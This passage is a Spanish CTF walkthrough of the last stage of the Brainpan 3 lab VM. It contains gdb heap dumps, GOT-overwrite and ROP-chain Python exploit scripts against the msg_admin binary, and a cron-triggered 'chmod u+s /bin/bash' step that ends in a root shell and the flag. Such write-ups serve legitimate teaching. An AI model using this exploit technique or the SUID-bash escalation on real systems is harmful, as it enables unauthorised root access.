0x804c3f0 0x42424242 0x42424242 BBBBBBBB
0x804c3f8 0x42424242 0x42424242 BBBBBBBB
0x804c400 0x42424242 0x42424242 BBBBBBBB
0x804c408 0x42424242 0x42424242 BBBBBBBB
0x804c410 0x42424242 0x42424242 BBBBBBBB
0x804c418 0x42424242 0x42424242 BBBBBBBB
0x804c420 0x42424242 0x42424242 BBBBBBBB
0x804c428 0x42424242 0x42424242 BBBBBBBB
0x804c430 0x42424242 0x42424242 BBBBBBBB
0x804c438 0x42424242 0x42424242 BBBBBBBB
0x804c440 0x42424242 0x42424242 BBBBBBBB
0x804c448 0x42424242 0x42424242 BBBBBBBB
0x804c450 0x42424242 0x42424242 BBBBBBBB
0x804c458 0x42424242 0x42424242 BBBBBBBB
0x804c460 0x42424242 0x42424242 BBBBBBBB
0x804c468 0x42424242 0x42424242 BBBBBBBB
0x804c470 0x00000000 0x00000011 ........
0x804c478 0x00000001 0x0804c488 ........
0x804c480 0x0804c498 0x00000011 ........
0x804c488 0x43434343 0x43434343 CCCCCCCC
0x804c490 0x00004343 0x000000d1 CC......
0x804c498 0x44444444 0x44444444 DDDDDDDD
0x804c4a0 0x44444444 0x44444444 DDDDDDDD
0x804c4a8 0x44444444 0x44444444 DDDDDDDD
0x804c4b0 0x44444444 0x44444444 DDDDDDDD
0x804c4b8 0x44444444 0x44444444 DDDDDDDD
0x804c4c0 0x44444444 0x44444444 DDDDDDDD
0x804c4c8 0x44444444 0x44444444 DDDDDDDD
0x804c4d0 0x44444444 0x44444444 DDDDDDDD
0x804c4d8 0x44444444 0x44444444 DDDDDDDD
0x804c4e0 0x44444444 0x44444444 DDDDDDDD
0x804c4e8 0x44444444 0x44444444 DDDDDDDD
0x804c4f0 0x44444444 0x44444444 DDDDDDDD
0x804c4f8 0x44444444 0x44444444 DDDDDDDD
0x804c500 0x44444444 0x44444444 DDDDDDDD
0x804c508 0x44444444 0x44444444 DDDDDDDD
0x804c510 0x44444444 0x44444444 DDDDDDDD
0x804c518 0x44444444 0x44444444 DDDDDDDD
0x804c520 0x44444444 0x44444444 DDDDDDDD
0x804c528 0x44444444 0x44444444 DDDDDDDD
0x804c530 0x44444444 0x44444444 DDDDDDDD
0x804c538 0x44444444 0x44444444 DDDDDDDD
0x804c540 0x44444444 0x44444444 DDDDDDDD
0x804c548 0x44444444 0x44444444 DDDDDDDD
0x804c550 0x44444444 0x44444444 DDDDDDDD
0x804c558 0x44444444 0x44444444 DDDDDDDD
0x804c560 0x00000000
pwndbg>
Antes de sobreescribir el puntero en 0x804c47c
tenemos que rellenar 3
dwords por lo que añadiremos 12 B's
y despues de ello sobreescribimos el puntero con 4 C's
#!/usr/bin/python3
payload = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 212
payload += b"C" * 4
payload += b"\n"
payload += b"D" * 10
payload += b"|"
payload += b"E" * 200
payload += b"\n"
with open("exploit.msg", "wb") as file:
file.write(payload)
Si corremos el programa con el nuevo msg en el heap ahora la direccion 0x804c47c
donde estaba el puntero vale C's
, pero el chunk
es gigante incluso sobrepasando el top chunk
y esto es porque sobrescribimos el dword
del tamaño con 0x42424242
❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg
[+] Recording 2 entries
Program received signal SIGSEGV, Segmentation fault.
0xf7eaa0f7 in ?? () from ./libc.so.6
pwndbg> vis 3 0x804c390
0x804c390 0x0804c3a8 0x00000011 ........
0x804c398 0x41414141 0x41414141 AAAAAAAA
0x804c3a0 0x00004141 0x000000d1 AA......
0x804c3a8 0x42424242 0x42424242 BBBBBBBB
0x804c3b0 0x42424242 0x42424242 BBBBBBBB
0x804c3b8 0x42424242 0x42424242 BBBBBBBB
0x804c3c0 0x42424242 0x42424242 BBBBBBBB
0x804c3c8 0x42424242 0x42424242 BBBBBBBB
0x804c3d0 0x42424242 0x42424242 BBBBBBBB
0x804c3d8 0x42424242 0x42424242 BBBBBBBB
0x804c3e0 0x42424242 0x42424242 BBBBBBBB
0x804c3e8 0x42424242 0x42424242 BBBBBBBB
0x804c3f0 0x42424242 0x42424242 BBBBBBBB
0x804c3f8 0x42424242 0x42424242 BBBBBBBB
0x804c400 0x42424242 0x42424242 BBBBBBBB
0x804c408 0x42424242 0x42424242 BBBBBBBB
0x804c410 0x42424242 0x42424242 BBBBBBBB
0x804c418 0x42424242 0x42424242 BBBBBBBB
0x804c420 0x42424242 0x42424242 BBBBBBBB
0x804c428 0x42424242 0x42424242 BBBBBBBB
0x804c430 0x42424242 0x42424242 BBBBBBBB
0x804c438 0x42424242 0x42424242 BBBBBBBB
0x804c440 0x42424242 0x42424242 BBBBBBBB
0x804c448 0x42424242 0x42424242 BBBBBBBB
0x804c450 0x42424242 0x42424242 BBBBBBBB
0x804c458 0x42424242 0x42424242 BBBBBBBB
0x804c460 0x42424242 0x42424242 BBBBBBBB
0x804c468 0x42424242 0x42424242 BBBBBBBB
0x804c470 0x42424242 0x42424242 BBBBBBBB
0x804c478 0x42424242 0x43434343 BBBBCCCC
0x804c480 0x0804c400 0x00000011 ........
0x804c488 0x00000000 0x00000000 ........
0x804c490 0x00000000 0x000000d1 ........
0x804c498 0x00000000 0x00000000 ........
0x804c4a0 0x00000000 0x00000000 ........
0x804c4a8 0x00000000 0x00000000 ........
0x804c4b0 0x00000000 0x00000000 ........
0x804c4b8 0x00000000 0x00000000 ........
0x804c4c0 0x00000000 0x00000000 ........
0x804c4c8 0x00000000 0x00000000 ........
0x804c4d0 0x00000000 0x00000000 ........
0x804c4d8 0x00000000 0x00000000 ........
0x804c4e0 0x00000000 0x00000000 ........
0x804c4e8 0x00000000 0x00000000 ........
0x804c4f0 0x00000000 0x00000000 ........
0x804c4f8 0x00000000 0x00000000 ........
0x804c500 0x00000000 0x00000000 ........
0x804c508 0x00000000 0x00000000 ........
0x804c510 0x00000000 0x00000000 ........
0x804c518 0x00000000 0x00000000 ........
0x804c520 0x00000000 0x00000000 ........
0x804c528 0x00000000 0x00000000 ........
0x804c530 0x00000000 0x00000000 ........
0x804c538 0x00000000 0x00000000 ........
0x804c540 0x00000000 0x00000000 ........
0x804c548 0x00000000 0x00000000 ........
0x804c550 0x00000000 0x00000000 ........
0x804c558 0x00000000 0x00000000 ........
0x804c560 0x00000000 0x00020aa1 ........ <-- Top chunk
0x804c568 0x00000000 0x00000000 ........
0x804c570 0x00000000 0x00000000 ........
0x804c578 0x00000000 0x00000000 ........
Para lo siguiente necesitaremos obtener la direccion got
de la funcion strtok
ya que si enviamos esta direccion en lugar del puntero nos llevara a las C's
pwndbg> got -r strtok
Filtering by symbol name: strtok
State of the GOT of /home/kali/msg_admin:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x804b05c] strtok@GLIBC_2.0 -> 0xf7ea1970 (strtok) —▸ 0xffeae853 ◂— 0xffeae853
pwndbg>
Esta vez en las B's
enviaremos 212
bytes de basura y en el inicio del puntero la direccion del got de strtok
, podemos usar p32
de pwntools para no complicarnos
#!/usr/bin/python3
from pwn import p32
payload = b""
payload += b"A" * 10
payload += b"|"
payload += b"B" * 212
payload += p32(0x804b05c)
payload += b"\n"
payload += b"C" * 10
payload += b"|"
payload += b"D" * 200
payload += b"\n"
with open("exploit.msg", "wb") as file:
file.write(payload)
Corremos el programa en gdb
con el nuevo exploit.msg
como segundo argumento, lo que conseguimos con lo anterior es que en el EIP
quede 0x43434343
que equivale a CCCC
osea la primera parte de la segunda linea del archivo msg
❯ gdb -q msg_admin
Reading symbols from msg_admin...
(No debugging symbols found in msg_admin)
pwndbg> run 1 exploit.msg
Starting program: /home/kali/msg_admin 1 exploit.msg
[+] Recording 2 entries
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg>
Ya que no tenemos un leak de libc tendremos que buscar otra forma de llegar a system
, para ello creamos un pequeño script que busque posibles funciones
dentro del propio binario y su diferencia con la funcion system
de libc
#!/usr/bin/python3
from pwn import *
elf = ELF('./msg_admin', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
for symbol in elf.symbols.keys():
try:
if libc.symbols[symbol] < libc.symbols['system']:
log.info(f"{symbol}: {hex(libc.symbols['system'] - libc.symbols[symbol])}")
except:
pass
La funcion mas cercana a system es atol
la cual tiene de diferencia solo 0xe900
❯ python3 exploit.py
[*] plt.malloc: 0x28e10
[*] __libc_start_main: 0x26800
[*] atol: 0xe900
Usaremos la funcion atol
como base asi que primero tomaremos su direccion got
pwndbg> got -r atol
Filtering by symbol name: atol
State of the GOT of /home/kali/msg_admin:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x804b04c] atol@GLIBC_2.0 -> 0x80486b6 (atol@plt+6) ◂— push 0x80
pwndbg>
Para la diferencia podemos buscar direcciones para 0xe800
y 0x100
que sumados suman 0xe900
lo cual equivale a que sumandole atol tendriamos un posible system
pwndbg> search 0xe800 msg_admin -t dword
Searching for value: b'\x00\xe8\x00\x00'
msg_admin 0x80480c7 add al, ch
pwndbg> search 0x100 msg_admin -t dword
Searching for value: b'\x00\x01\x00\x00'
msg_admin 0x8048013 add byte ptr [ecx], al
msg_admin 0x804806f add byte ptr [ecx], al
msg_admin 0x8048073 add byte ptr [ecx], al
msg_admin 0x8048093 add byte ptr [ecx], al
msg_admin 0x804814f add byte ptr [ecx], al
msg_admin 0x804816f add byte ptr [ecx], al
msg_admin 0x80481b3 add byte ptr [ecx], al
msg_admin 0x8048477 add byte ptr [ecx], al
msg_admin 0x804847f add byte ptr [ecx], al
msg_admin 0x8049f13 add byte ptr [ecx], al
msg_admin 0x8049f17 add byte ptr [ecx], al
msg_admin 0x804af13 0x100
msg_admin 0x804af17 0x100
pwndbg>
Ahora necesitamos un archivo el cual ejecutar con system
, encontramos una direccion hacia /tmp/foo
que usaremos para ejecutar system("/tmp/foo")
pwndbg> search /tmp/foo
Searching for value: '/tmp/foo'
msg_admin 0x8048eef das /* '/tmp/foo' */
pwndbg>
Usando ropper
podemos encontrar un par de gadgets que llamaran a EAX
❯ ropper --file msg_admin --jmp eax
JMP Instructions
================
0x08048786: call eax;
0x0804880f: call eax;
2 gadgets found
Tambien necesitaremos limpiar EAX
, en la funcion llamada register_tm_clones
encontramos un par de instrucciones que nos ayudaran a limiar el registro EAX
pwndbg> x/2i register_tm_clones
0x8048790 <register_tm_clones>: mov eax,0x804b074
0x8048795 <register_tm_clones+5>: sub eax,0x804b074
pwndbg>
Con ropper
podemos buscar un gadget que nos ejecute un add eax
, encontramos uno que ejecuta add eax, dword ptr [ebx + 0x1270304]; ret;
que nos servira
❯ ropper --file msg_admin --search "add eax"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add eax
[INFO] File: msg_admin
0x080489ba: add eax, 0x14; je 0x9c6; call 0x600; leave; ret;
0x08048aa7: add eax, 0x14; je 0xab3; call 0x600; leave; ret;
0x08048aad: add eax, 0xfffb4de8; dec ecx; ret;
0x080489c0: add eax, 0xfffc3ae8; dec ecx; ret;
0x08048942: add eax, 0xfffcb8e8; inc dword ptr [ebx + 0x5f5b80ec]; pop ebp; ret;
0x08048feb: add eax, dword ptr [ebx + 0x1270304]; ret;
0x080487a2: add eax, edx; sar eax, 1; jne 0x7a9; ret;
Sin embargo para usarlo tambien necesitaremos otro gadget que ejecute un pop ebx
❯ ropper --file msg_admin --search "pop ebx; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ebx; ret;
[INFO] File: msg_admin
0x0804859d: pop ebx; ret;
El ultimo gadget que necesitaremos sera uno que ejecute un stack pivot
para terminar con el ret
, este lo usaremos como puntero en el inicio de la segunda linea
❯ ropper --file msg_admin --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x08048ddc: pop ebx; pop esi; pop edi; pop ebp; ret;
0x0804859a: add esp, 8; pop ebx; ret;
0x08048c5e: ret 0;
0x08048c09: ret 0x458b;
0x08048a33: ret 0x8941;
0x080488e4: ret 0xb8;
0x0804879e: ret 0xeac1;
Iniciemos con el exploit, como en la maquina no tenemos pwntools definiremos la funcion p32
haciendo uso de la libreria struct para convertir la direccion
p32 = lambda addr: struct.pack("I", addr)
Lo siguiente sera una funcion que nos haga el add
, enviando a ebx
la direccion menos 0x1270304
para asi compensar las instrucciones del gadget encontrado antes
def add(addr):
result = b""
result += p32(0x0804859d)
result += p32(addr - 0x1270304)
result += p32(0x08048feb)
return result
Nuestra cadena rop simplemente limpiara eax
, y con atol sumando la diferencia conseguiremos system
que como argumento tendra la direccion de /tmp/foo
rop = b""
rop += p32(eax_0)
rop += add(got_atol)
rop += add(diff_e800) + add(diff_100)
rop += p32(call_eax)
rop += p32(tmp_foo)
La variable shellcode sera el segundo argumento de la primera linea, asi que despues de rop
rellenaremos con A's
hasta los 212
bytes, despues enviaremos el got de la funcion strtok
que dejara en EIP
el primer argumento de la segunda linea
shellcode = b""
shellcode += rop
shellcode += b"A" * (offset - len(shellcode))
shellcode += p32(got_strtok)
La primer linea de muestro .msg seran 4 A's
en el primer argumento y el shellcode
en el segundo, en la segunda linea sera el pop4_ret
que quedara en el EIP
payload = b""
payload += b"A" * 10
payload += b"|"
payload += shellcode
payload += b"\n"
payload += p32(pop4_ret)
payload += b"|"
payload += b"A" * 10
payload += b"\n"
Como lo que haremos sera un system("/tmp/foo")
en ese archivo escribiremos un comando que en caso de ejecutarse como root otorgara privilegios suid
a la bash
command = b"chmod u+s /bin/bash"
with open("/tmp/foo", "wb") as file:
file.write(command)
os.chmod("/tmp/foo", 0o755)
Resumiendo, nuestro payload
para ejecutar el system sera el segundo argumento de la primera linea, rellenaremos y en el puntero enviaremos strtok
para que como puntero quede el primer argumento de la segunda linea, este sera el pop4_ret
que volvera a nuestro payload y ejecutara /tmp/foo
que dara suid a la bash
El script
final para explotar la tarea cron seria el siguiente, este creara los archivos exploit.msg
y /tmp/foo
que seran ejecutados al ejecutarse la tarea que vimos
#!/usr/bin/python3
import struct, os
p32 = lambda addr: struct.pack("I", addr)
def add(addr):
result = b""
result += p32(0x0804859d)
result += p32(addr - 0x1270304)
result += p32(0x08048feb)
return result
offset = 212
pop4_ret = 0x08048ddc
eax_0 = 0x8048790
call_eax = 0x8048786
got_strtok = 0x804b05c
got_atol = 0x804b04c
tmp_foo = 0x8048eef
diff_e800 = 0x80480c7
diff_100 = 0x8048013
rop = b""
rop += p32(eax_0)
rop += add(got_atol)
rop += add(diff_e800) + add(diff_100)
rop += p32(call_eax)
rop += p32(tmp_foo)
shellcode = b""
shellcode += rop
shellcode += b"A" * (offset - len(shellcode))
shellcode += p32(got_strtok)
payload = b""
payload += b"A" * 10
payload += b"|"
payload += shellcode
payload += b"\n"
payload += p32(pop4_ret)
payload += b"|"
payload += b"A" * 10
payload += b"\n"
with open("/opt/.messenger/exploit.msg", "wb") as file:
file.write(payload)
command = b"chmod u+s /bin/bash"
with open("/tmp/foo", "wb") as file:
file.write(command)
os.chmod("/tmp/foo", 0o755)
Ejecutamos el script como puck
y pasados unos minutos interpreta nuestro payload y la bash
se vuelve suid, ahora simplemente ejecutamos bash -p
y somos root
puck@brainpan3:~$ python3 exploit.py
puck@brainpan3:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 986672 Oct 7 2014 /bin/bash
puck@brainpan3:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 986672 Oct 7 2014 /bin/bash
puck@brainpan3:~$ bash -p
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3# hostname -I
192.168.100.64
bash-4.3#
En /root encontramos un archivo .gz
que al descomprimirlo nos da la flag
final
root@brainpan3:~# ls
brainpan.8.gz
root@brainpan3:~# gzip -d brainpan.8.gz
root@brainpan3:~# cat brainpan.8
.TH man 8 "20 May 2015" "3.0" "brainpan 3"
.SH DESCRIPTION
Congratulations, you win! Thanks for playing!
.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}
.SH BUGS
You found them all.
.SH AUTHOR
superkojiman -
.B
http://blog.techorganic.com
.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
.br
barrebas -
.B
https://twitter.com/barrebas
.br
Swappage -
.B
https://twitter.com/Swappage
root@brainpan3:~#